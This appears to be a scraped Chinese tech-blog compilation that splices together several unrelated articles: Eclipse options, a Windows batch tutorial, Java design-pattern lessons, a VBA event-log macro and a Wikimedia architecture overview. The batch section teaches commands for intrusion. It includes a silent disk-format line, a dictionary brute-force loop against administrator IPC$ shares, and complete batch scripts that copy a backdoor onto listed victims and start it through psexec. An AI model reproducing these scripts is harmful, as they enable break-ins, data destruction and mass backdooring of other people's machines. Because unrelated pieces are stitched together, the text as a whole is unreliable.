下面,我向大家推荐Cygwin。首先我简单介绍一下这个软件。
D:\eclipse\eclipse.exe -nl "zh" 将eclipse显示为中文版
D:\eclipse\eclipse.exe -nl "en" 将eclipse显示为英文版
D:\eclipse\eclipse.exe -nl "ja" 将eclipse显示为日文版
-vmargs -Xmx512M 添加Eclipse的虚拟内存,将其设置为512M,默认的大概是256。这个尤其在使用类似SDE这样的比较大的Eclipse应用工具的时候用的比较多。
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究。
定义:
提供一个创建一系列相关或者相互依赖对象的接口,而无需制定它们具体的类。抽象工厂(Abstract Factory)模式又成为Kit模式,属于对象创建型模式。
抽象工厂模式与工厂方法模式最大的区别在于:工厂方法模式针对的是一个产品等级结构,而抽象工厂模式则针对的是多个产品等级结构。正因为如此,在抽象工厂模式中经常会用到产品族(Product Family)这一概念,它指的是位于不同的产品等级结构中,并且功能相互关联的产品系列。
应用情景:
1,系统需要屏蔽有关对象如何创建,如何组织和如何表示。
2,系统需要由关联的对个对象来构成。
3,有关联的多个对象需要一起应用并且它们的约束是强迫的(不可分离)。
4,你想提供一组对象而不显示它们的实现过程,只显示它们的接口。
跟我学习设计模式之第二篇:工厂方法模式开篇了。下面我们来看看其定义:
工厂方法模式又称工厂模式,也叫虚拟构造器(Virtual Constructor)模式或者多态工厂(Polymorphic Factory)模式,属于类的创建型模式。在工厂方法模式中,父类负责定义创建对象的公共接口,而子类则负责生成具体的对象,这样做的目的是将类的实例化操作延迟到子类中完成,即由子类来决定究竟应该实例化(创建)哪一个类。
下面以一个JAVA实例应用来看了解一下具体需求:
现实中不同品牌的手机应由不同的工厂制造,下面应用工厂模式来解决这个问题。
手机接口:
public interface Mobile {
public void call();
}
手机工厂接口:
public interface MobileFactory {
public Mobile productMobile();
}
摩托罗拉手机实现手机接口:
public class Motorola implements Mobile {
public void call() {
System.out.println("MOTOROLA モベイル");
}
}
诺基亚手机实现手机接口:
public class Nokia implements Mobile {
public void call() {
System.out.println("Nokia モベイル");
}
}
摩托罗拉工厂实现了生产手机的方法,返回摩托罗拉手机:
public class MotorolaFactory implements MobileFactory {
@Override
public Mobile productMobile() {
// TODO 自動生成されたメソッド・スタブ
System.out.print("Motorola工場で製造した");
return new Motorola();
}
}
诺基亚工厂实现了生产手机的方法,返回诺基亚手机:
public class NokiaFactory implements MobileFactory {
@Override
public Mobile productMobile() {
// TODO 自動生成されたメソッド・スタブ
System.out.print("Nokia工場で製造した");
return new Nokia();
}
}
客户程序:
public class Client {
/**
* @param args
*/
public static void main(String[] args) {
// TODO 自動生成されたメソッド・スタブ
MobileFactory mf;
Mobile m;
mf = new MotorolaFactory();
m = mf.productMobile();
m.call();
mf = new NokiaFactory();
m = mf.productMobile();
m.call();
}
}
输出:
Motorola工場で製造したMOTOROLA モベイル
Nokia工場で製造したNokia モベイル
下面的情景很适合应用工厂方法模式:
1,类不知道自己要创建哪一个对象;
2,类用它的子类来制定创建哪个对象;
3,客户需要清楚创建了哪一个对象。
对设计模式的理解和应用能力,是区分一个程序员和一个软件工程师的重要特征。从今天开始,我将花费一些时间和精力,用在设计模式的学习和实践上。
今天,首先解决三个问题:
第一,什么是设计模式?
第二,设计模式的作用?
第三,设计模式的分类?
按照顺序依次解决这三个问题,就算完成开篇的内容。
第一,什么是设计模式?
模式的定义:模式是一种问题的解决思路,它已经试用于一个实践环境,并且可以适用于其他环境。
如果觉得抽象,举几个例子马上就可以理解了:用牛耕田,织网捕鱼,打井取水……,所有这些都是前人创造的生活模式,我们大家不自觉的把它们应用在生活的方方面面。
同理,程序设计,也有一些前人的设计思路可供我们直接使用,这就是设计模式。
第二,设计模式的作用?
1,重用设计,比重用代码更有意义,它会自动带来代码重用。
2,为设计提供共同词汇,模式名就是设计词汇,方便交流。
3,开发文档中采用模式词汇让阅读者更容易理解。
4,可以使得重构系统变得容易。确保代码正确,降低设计和实现中出现错误的可能性,为从写其它应用程序提供很好的系统架构。
5,正确使用设计模式,可以节省大量时间。
第三,设计模式的分类?
设计模式种类很多,包括分布式编程模式,用户界面模式,数据模式模式三大类。目前流行的面向对象设计模式,仅1995年“Gang of Four”(四位作者:Erich Gamma,Richard Helm,Ralph Johnson,John Vlissides)描述的就有二十多种,称之为GoF模式,与其相对应的另一种重要的设计模式是通用责任分配软件系列模式(GRASP,General Responsibility Assignment Software Patterns)。
1,GRASP模式的分类:
与其说它是面向对象的设计模式,不如说它是面向对象的设计要求,细分为9种模式。模式之间不是独立的,存在相互平衡的制约关系,所以我们的设计只能努力的满足GRASP的各种模式。
1)Information Expert(信息专家)
2)Creator(创造者)
3)Low coupling(低耦合)
4)High cohesion)(高内聚)
5)Controller(控制器)
6)Polymorphism(多态)
7)Pure Fabrication(纯虚构)
8)Indirection(间接)
9)Protected Variations(受保护变化)
2,GoF模式的分类:
◆根据目的准则分类:
就是说,指定的模式用来完成什么工作。可分三种:
1)Creational(创建型):与对象创建有关
2)Structural(结构型):处理类或对象的组合
3)Behavioral(行为型):描述类或对象如何交互及如何分配职责。
◆根据范围准则分类:
即指定的模式是用于类还是用于对象,分为两种:
1)类模式:编译时就定下来了。
2)对象模式:处理对象间关系,这些关系具有动态性,在运行期间是可以变化的。
范围/目的:Creational(创建型): Creational(创建型): Behavioral(行为型)
类:Simple Factory:Adpter(class):Interpreter
:Factory Method: :Template method
对象:Abstract Facotry:Adapter(object):Chain of Responsibility
:Builder :Bridge :Command
:Prototype :Composite :Iterator
:Singleton :Decorator :Mediator
: :Facade :Memento
: :Flyweight :Observer
: :Proxy :State
: : :Strategy
: : :Visitor
' // イベントコード 6005, 6006 を取得します
Sub SampleProc()
Const wbemFlagReturnImmediately As Long = &H10
Const wbemFlagForwardOnly As Long = &H20
Dim Service As Object
Dim EventList As Object
Dim Obj As Object
Dim sComputer As String
Dim lFlags As Long
Dim Sql As String
Dim i As Long
' On Error Resume Next
sComputer = "."
lFlags = wbemFlagReturnImmediately Or wbemFlagForwardOnly
Sql = ""
Sql = Sql & "SELECT *"
Sql = Sql & " FROM Win32_NTLogEvent"
Sql = Sql & " WHERE Logfile = 'System'" _
& " AND EventCode = 6005 OR EventCode = 6006"
Set Service = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Security)}!\\" _
& sComputer & "\root\cimv2")
Set EventList = Service.ExecQuery(Sql, iFlags:=lFlags)
' 出力
Cells.Clear
Range("A1:D1").Value = Array("Code", "DateTime", "Computer", "Message")
i = 2
For Each Obj In EventList
Cells(i, "A").Value = Obj.EventCode
Cells(i, "B").Value = Obj.TimeGenerated ' yyyymmddhhmmss.0000・・・形式です
Cells(i, "C").Value = Obj.ComputerName
Cells(i, "D").Value = Replace$(Obj.Message, vbCrLf, "")
i = i + 1
Next
Columns("A:D").AutoFit
Set EventList = Nothing
Set Service = Nothing
End Sub
Wikimedia作为一个平台,用于构建Wikipedia、Wiktionary和其它的七种wiki( )。这篇文章对于那些想将大型站点的伸缩性提升到一定高度的研究者来说,是非常好的。文章详细介绍了许多的细节和创新的想法,并且这些想法都已经能够在一些非常成熟的网站上得到过证明。
Wikimedia网址:http://wikimedia.org/
参考资料
Wikimedia体系结构 关于wikimedia服务器的文章
平台
Apache
Linux
MySQL
PHP
Squid
LVS
Lucene搜索
分布式对象高速缓存Memcached
Lighttpd图像服务器
统计信息
8 百万文章,覆盖了超过100中语言
世界前10最繁忙的站点
指数增长:访问者/流量/服务器数量在每4-6个月翻倍
高峰期30000HTTP请求量 3 Gbit/s 数据流量
3个数据中心:坦帕[美国佛罗里达州西部港市]、阿姆斯特丹、汉城
350个服务器,从1x P4到2x Xeon Quad-Core排列,0.5 - 16 GB内存
大约6个人员管理
3个不同的州设有3个群集器
体系结构
地理负载平衡,基于用户源IP分析器,将用户的请求集中在最近的服务器群。静态映射IP地址到该国家的服务器群集上。
依据wiki正文,图像媒体,大型静态文件,使用Squid ,来实施HTTP反向代理
目前使用了55 Squid服务器,另外20个等待安装。
每个服务器1000HTTP请求,应力测试环境下达到2500
每个服务器大约100 - 250 Mbit/s
每个服务器大约~ 14 000 - 32 000连接
每个Squid服务器磁盘高速缓存达到40 GB
每个服务器达到4个磁盘 8GB的内存,一半被Squid用掉
命中率:使用CARP以来,Text 85%,Media 98%
PowerDNS提供地域分配功能
在他们主要的区域数据中心,建立了text和media群集,构建于LVS、CARP Squid、 Cache Squid之上。
在主要的数据中心,他们还有media存储器。
为上百个wiki安装了一个管理&同步的软件。
使用 多CPU进行MediaWiki 伸缩性扩展效果不错,因此我们买了双4核服务器(每盒8个CPU芯); 硬件被分派用来进行外部存储和Memcached任务。
Memcached用来高速缓存图像元数据,分析数据,差别,用户和sessions、修正文本等。元数据,如文章修改历史,文章间的关系(链接,分类等),用户帐户,设置等都存储在核心数据库中。实际的修改文本作为blob存储在外存储器上。
静态(上传)文件,比如图像,单独存在图像服务器上。元数据(大小,类型等)高速缓存在核心数据库和对象caches上。
每个wiki站点使用单独数据库(而非单独的服务器);一个主数据库,多个从属数据库 ;
读操作在从属的上面应该负载均衡,写操作应该让主数据库进行。
使用主数据库来进行一些读操作,以备从数据库没有更新(延迟)。
外存储器
文章文本存储在单独的数据存储器上,仅仅简单追加blob存储器。处理主要没有的数据,给昂贵和繁忙的核心数据库节约空间
应用程序服务器上允许使用备用资源(每个服务器2x 250-500 GB )
使用3个MySQL主机 ,在将来会得到更好的易管理性
可借鉴的经验
集中于体系结构,不要过于专注操作或者非技术性的东西;
有些时候,比起重计算或者是查找数据源,比高速缓冲器的成本还要高;
避免消耗大的算法,数据查询等;
高速缓存结果消耗很大的结果,有一个时间访问局部性;
注意代码中的过热点;
各自进行伸缩性扩展;
读写操作(主/从)
提升高速缓存的技术:时间和空间访问局部性,减少每个服务器的数据集大小
文本进行压缩,只有文章修订版进行存储
简化程序调用,像使用stat来检查一个需要加载很久的文件是否存在
限制磁盘I/O查找,磁盘主轴越多越好
Wikipedia的数据库服务器目前是16GB的双数或者四芯盒,有6 15,000 RPM SCSI驱动。这是一个最好的工作设置和负载均衡设置。他们使用更小的,更廉价的系统,16GB对于工作组的大小还不错。类似的现在的web服务器目前是8芯盒,因为对于负载平衡的效果不错,对于PHP来说,有很好的吞吐量。
如果你开始没有设计好,有许多的伸缩性工作需要做。Wikipedia的MediaWiki 最初是为单个主数据库服务器写的。后来增加了从服务器。接着加入了语言/项目的划分。那个时候的设计试验合格,虽然需要做许多提炼工作来解决瓶颈问题。
任何想要设计他们的数据库体系结构,那么就要能够让他们花费很低的成本,从一个站点很容易扩展到前十,或者上百的站点。这就需要一开始设计处理从数据库中的过时数据,对于所有的读操作查询知道如何进行负荷均衡,尽量让数据块(成批用户,帐户等等)访问不同的服务器。